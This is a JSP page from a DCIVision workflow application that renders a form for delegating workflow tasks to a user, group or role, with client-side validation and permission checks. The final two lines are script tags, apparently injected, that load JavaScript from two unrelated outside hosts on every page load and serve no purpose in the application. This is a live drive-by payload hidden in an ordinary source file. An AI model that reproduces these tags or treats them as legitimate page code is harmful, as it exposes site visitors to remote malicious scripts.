<%
/*
 * @(#)EditWorkflowDelegation.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditWorkflowDelegation.jsp

  This class is reflecting business logic uses.

    @author           Angus Shiu
    @company          DCIVision Limited
    @creation date    24/07/2003
    @version          $Revision: 1.17.4.11 $
*/

try{
%>

<%@ taglib uri="/tags/struts-html" prefix="html"%>
<%@ taglib uri="/tags/struts-bean" prefix="bean"%>
<%@ taglib uri="/tags/struts-logic" prefix="logic"%>
<%@ taglib uri="/tags/layout" prefix="layout"%>
<%@ taglib uri="/WEB-INF/struts-logic.tld" prefix="test" %>
<%@ page import="java.io.*"%>
<%@ page import="java.sql.*"%>
<%@ page import="java.util.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.user.*"%>
<%@ page import="com.dcivision.user.bean.*"%>
<%@ page import="com.dcivision.alert.bean.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintUserDelegationForm" scope="request" class="com.dcivision.user.web.MaintUserDelegationForm"/>

<script language="Javascript">
<!--
function OpRefresh(frm) {
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
  }

  frm.opMode.value="<%=GlobalConstant.OP_MODE_REFRESH%>";
  frm.submit();
  return (false);
}

function CusOpSave(frm) {
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
  }
  if (frm.sourceUserID.value =="") {
    alert('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "errors.required", MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "user.label.source_user"))%>');
    return false;
  }
  if (frm.targetObjectID.value=="") {
    alert('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "errors.required", MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "user.label.delegate_to"))%>');
    return false;
  }
  if ('<%=GlobalConstant.SUBJECT_TYPE_USER%>'==frm.targetObjectType.value) {
    if (frm.sourceUserID.value==frm.targetObjectID.value) {
      alert("<bean:message key='workflow.label.cannot_delegate_to_yourself'/>");
      return false;
    }
  }
  if (frm.alertByEmail.checked){
    frm.notificationType.value = "E";
  } else {
    frm.notificationType.value ="";
  }
  if (frm.alertBySystem.checked){
    frm.notificationType.value += ",S"
  }
  if (CusValidate(frm)) {
    return OpSave(frm);
  } else {
    return false;
  }
}

function CusOpSaveAndNew(frm) {
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
  }
  if (frm.sourceUserID.value =="") {
    alert('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "errors.required", MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "user.label.source_user"))%>');
    return false;
  }
  if (frm.targetObjectID.value=="") {
    alert('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "errors.required", MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "user.label.delegate_to"))%>');
    return false;
  }
  if ('<%=GlobalConstant.SUBJECT_TYPE_USER%>'==frm.targetObjectType.value) {
    if (frm.sourceUserID.value==frm.targetObjectID.value) {
      alert("<bean:message key='workflow.label.cannot_delegate_to_yourself'/>");
      return false;
    }
  }
  if (frm.alertByEmail.checked){
    frm.notificationType.value = "E";
  }
  if (frm.alertBySystem.checked){
    frm.notificationType.value += ",S"
  }
  if (CusValidate(frm)) {
    return OpSaveAndNew(frm);
  } else {
    return false;
  }
}

function CusValidate(frm) {
  var startDate = frm.startDate;
  var endDate = frm.endDate;
  if (compareDate(frm.today, startDate, true) > 0) {
    alert("<bean:message key='common.message.from_later_than_current_time'/>");
    return false;
  }
  if (endDate.value!="") {
    if (compareDate(startDate, endDate, false) > 0) {
      alert("<bean:message key='common.message.from_later_than_to'/>");
      return (false);
    }
  }

  return true;
}
-->
</script>
<html:form action="workflow/MaintWorkflowDelegation" styleClass="form-style-2">
<html:javascript formName="maintUserDelegationForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/
   String returnURL = "ListWorkflowDelegation.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);

   String[][] objectTypeArr = {{"common.label.object_type_"+GlobalConstant.OBJECT_TYPE_WORKFLOW, GlobalConstant.OBJECT_TYPE_WORKFLOW}
                              };
   String[][] targetObjectTypeArr = {{"setup.label.subject_type_"+GlobalConstant.SUBJECT_TYPE_USER, GlobalConstant.SUBJECT_TYPE_USER},
                                     {"setup.label.subject_type_"+GlobalConstant.SUBJECT_TYPE_GROUP, GlobalConstant.SUBJECT_TYPE_GROUP},
                                     {"setup.label.subject_type_"+GlobalConstant.SUBJECT_TYPE_ROLE, GlobalConstant.SUBJECT_TYPE_ROLE},
                                    };
   boolean supportEmail=SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.SUPPORT_EMAIL);
   String functionCode=(String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY);
   SessionContainer ctx=(SessionContainer)request.getSession().getAttribute(GlobalConstant.SESSION_CONTAINER_KEY);
   PermissionManager permission=ctx.getPermissionManager();
   String hasDelegation=GlobalConstant.TRUE;
   String hasWorkList=GlobalConstant.FALSE;
   UserRecord userRecord=permission.getUserRecord();
   Integer loginID=userRecord.getID();
   String getNavMode=maintUserDelegationForm.getNavMode();
    if (!permission.hasAccessRight(SystemFunctionConstant.WORKFLOW_DELEGATION,"I")&&"N".equals(getNavMode)) {
       hasDelegation=GlobalConstant.FALSE;
    }
    if (!permission.hasAccessRight(SystemFunctionConstant.WORKFLOW_DELEGATION,"C")&&"C".equals(getNavMode)) {
       hasDelegation=GlobalConstant.FALSE;
    }
     if (!permission.hasAccessRight(SystemFunctionConstant.WORKFLOW_DELEGATION,"E")&&"E".equals(getNavMode)) {
       hasDelegation=GlobalConstant.FALSE;
    }
     if (permission.hasAccessRight(SystemFunctionConstant.WORKFLOW_TASK,"N"))
     {
       hasWorkList=GlobalConstant.TRUE;
     }
 
   /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/%>

<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="ID"/>
<html:hidden property="recordStatus"/>
<html:hidden property="updateCount"/>
<html:hidden property="creatorID"/>
<html:hidden property="createDate"/>
<html:hidden property="updaterID"/>
<html:hidden property="updateDate"/>
<html:hidden property="notificationType" />
<input type="hidden" name="today" value="<%=Utility.getCurrentTimestamp()%>">
<!--
<html:hidden property="sourceUserID" value="<%=sessionContainer.getUserRecordID().toString()%>"/>
-->
<layout:tabContainer id="tab1">
<layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
   <layout:tabBar styleClass="tabBar_no_button">
        <layout:tabPane id="basicTab" title="common.label.tab_basic" selected="true" visibility="false"/> 
    </layout:tabBar>
  <div id="basicTab" class="tabContent">
  <table width="100%">
  <!-- Section Header -->
  <layout:sectionHeader name="user.label.user_delegation_info"/>
  <!-- Right now, we have only 1 object type. don't display this field. 
       but when we have more than one object type.this field must display.
       comment the code between <tr></tr> below.
    <tr>
    <td class="formLabelSmallMan"><bean:message key="user.label.delegate_object_type"/>:&nbsp;</td>
    <td class="formFieldSmall" width="630">
      <html:select property='objectType' textOnly='true'>
        <html:options stringArray='<%=objectTypeArr%>' />
      </html:select>
    </td>
  </tr> -->
  <tr>
  	<%      
      if ((GlobalConstant.TRUE).equals(hasDelegation)) 
       { 
    %>
    <td class="formLabelSmallMan"><bean:message key="user.label.source_user"/>:&nbsp;</td>
    <td class="formFieldSmall">    
      <html:userpicker property='sourceUserID'/>  
     </td> 	   
    <%
     }
      else {
    %>
    <td class="formLabelSmallMan"><bean:message key="user.label.source_user"/>:&nbsp;</td>
    <td class="formFieldSmall">    
    	<%=(sessionContainer.getUserRecord()).getFullName()%>
    	<input type='hidden' name='sourceUserID' value='<%=loginID%>'/>
    </td>    
    <% 
     }
    %>
  	
  </tr>
  <tr>
    <td class="formLabelSmallMan"><bean:message key="user.label.delegate_to"/>:&nbsp;</td>
    <td class="formFieldSmall">
      <table cellspacing="0" cellpadding="0" border="0">
      <% if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE))  {%>
        <tr>
          <td>
            <html:select property="targetObjectType" onchange="return(OpRefresh());">
              <html:options stringArray='<%=targetObjectTypeArr%>' hasSelect='false'/>
            </html:select>
          </td>
        </tr>
      <% } %>
        <tr>
          <td>
          <% if (GlobalConstant.SUBJECT_TYPE_GROUP.equals(maintUserDelegationForm.getTargetObjectType()) ) {
                List groupList = (List) request.getAttribute("objectList");
                String[][] userGroupArr = new String[groupList.size()+1][2];

                userGroupArr[0][0] = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.options.select_menu.select_one");
                userGroupArr[0][1] = "";
                for (int i=0; i<groupList.size(); i++) {
                  UserGroup userGroup = (UserGroup) groupList.get(i);
                  userGroupArr[i+1][0] = userGroup.getGroupName();
                  userGroupArr[i+1][1] = userGroup.getID().toString();
                }
          %>
          <% if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE))  {%>
            <html:img src="IconGroup.gif" />
          <% } %>
            <html:select property="targetObjectID">
              <html:options stringArray="<%=userGroupArr%>" convertLabel="false" hasSelect="false"/>
            </html:select>
          <% } else if (GlobalConstant.SUBJECT_TYPE_ROLE.equals(maintUserDelegationForm.getTargetObjectType()) ) {
                List roleList = (List) request.getAttribute("objectList");
                String[][] userRoleArr = new String[roleList.size()+1][2];

                userRoleArr[0][0] = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.options.select_menu.select_one");
                userRoleArr[0][1] = "";
                for (int i=0; i<roleList.size(); i++) {
                  UserRole userRole = (UserRole) roleList.get(i);
                  userRoleArr[i+1][0] = userRole.getRoleName();
                  userRoleArr[i+1][1] = userRole.getID().toString();
                }
          %>
          <% if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE))  {%>
            <html:img src="IconRole.gif" />
          <% } %>
            <html:select property="targetObjectID">
              <html:options stringArray="<%=userRoleArr%>" convertLabel="false" hasSelect="false"/>
            </html:select>
          <% } else { %>
          <% if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE))  {%>
            <html:img src="IconUser.gif" />
          <% } %>
            <html:userpicker property='targetObjectID'/>
          <% } %>
          </td>
        </tr>
      </table>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmallMan"><bean:message key="user.label.start_date"/>:&nbsp;</td>
    <td class="formFieldSmall"><html:datepicker property="startDate" defaultToday="true"/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key="user.label.end_date"/>:&nbsp;</td>
    <td class="formFieldSmall"><html:datepicker property="endDate"/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.notification'/>:&nbsp;</td>
    <td class="formFieldSmall">
    <%if(supportEmail){%>
      <span style="diplay:none">
      <html:checkbox property="alertByEmail" value="<%=UpdateAlert.EMAIL_NOTIFICATION%>"><bean:message key='workflow.label.notify_by_mail'/></html:checkbox>
      </span>
    <%} else {%>
       <html:hidden property="alertByEmail"/>  
    <%}%>
      <html:checkbox property="alertBySystem" value="<%=UpdateAlert.SYSTEM_NOTIFICATION%>"><bean:message key='workflow.label.notify_by_system'/></html:checkbox>
    </td>
  </tr>
  <tr>
    <td colspan="2"><layout:auditTrail/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
  </table>
  </div>
  </layout:tabContainer>
  
  <div id="bottomButtonArea">
    <div id="buttonSection">
    <!-- The Buttons for Actions Handling -->
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <html:standardButton label="common.label.save" onClick="return CusOpSave()"/>
      <%if (GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE) || GlobalConstant.NAV_MODE_CHANGE.equals(ACTION_MODE)) {%>
      <%} else {%>
      <html:standardButton label="common.label.more" onClick="return CusOpSaveAndNew()"/>
      <%}%>
    <%} else if (!GlobalConstant.OP_MODE_DELETE.equals(maintUserDelegationForm.getOpMode())) {%>
      <%if ((GlobalConstant.TRUE).equals(hasWorkList)  ){ %>
      <html:permissionButton label="common.label.edit" right='N' functionCode='<%=SystemFunctionConstant.WORKFLOW_TASK%>' link="MaintWorkflowDelegation.do?navMode=E&ID=${maintUserDelegationForm.ID}&targetObjectType=${maintUserDelegationForm.targetObjectType}"/>
      <%} else{%>
      <html:permissionButton label="common.label.edit" right="E" link="MaintWorkflowDelegation.do?navMode=E&ID=${maintUserDelegationForm.ID}&targetObjectType=${maintUserDelegationForm.targetObjectType}"/>
      <%} %>
    <%}%>
    <logic:equal name='<%=GlobalConstant.ACTION_MODE%>' value='<%=GlobalConstant.NAV_MODE_EDIT%>'>
      <%if ((GlobalConstant.TRUE).equals(hasWorkList)  ){ %>
        <html:permissionButton label="common.label.delete" right='N' functionCode='<%=SystemFunctionConstant.WORKFLOW_TASK%>' onClick="return OpDelete()"/>
      <%} else{%>
        <html:permissionButton label="common.label.delete" right="D" onClick="return OpDelete()"/>
      <%} %>
    </logic:equal>
     </div>
	</div>
</html:form>
<% } catch (Exception e) { LogFactory.getLog(this.getClass()).error(e, e); } %>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>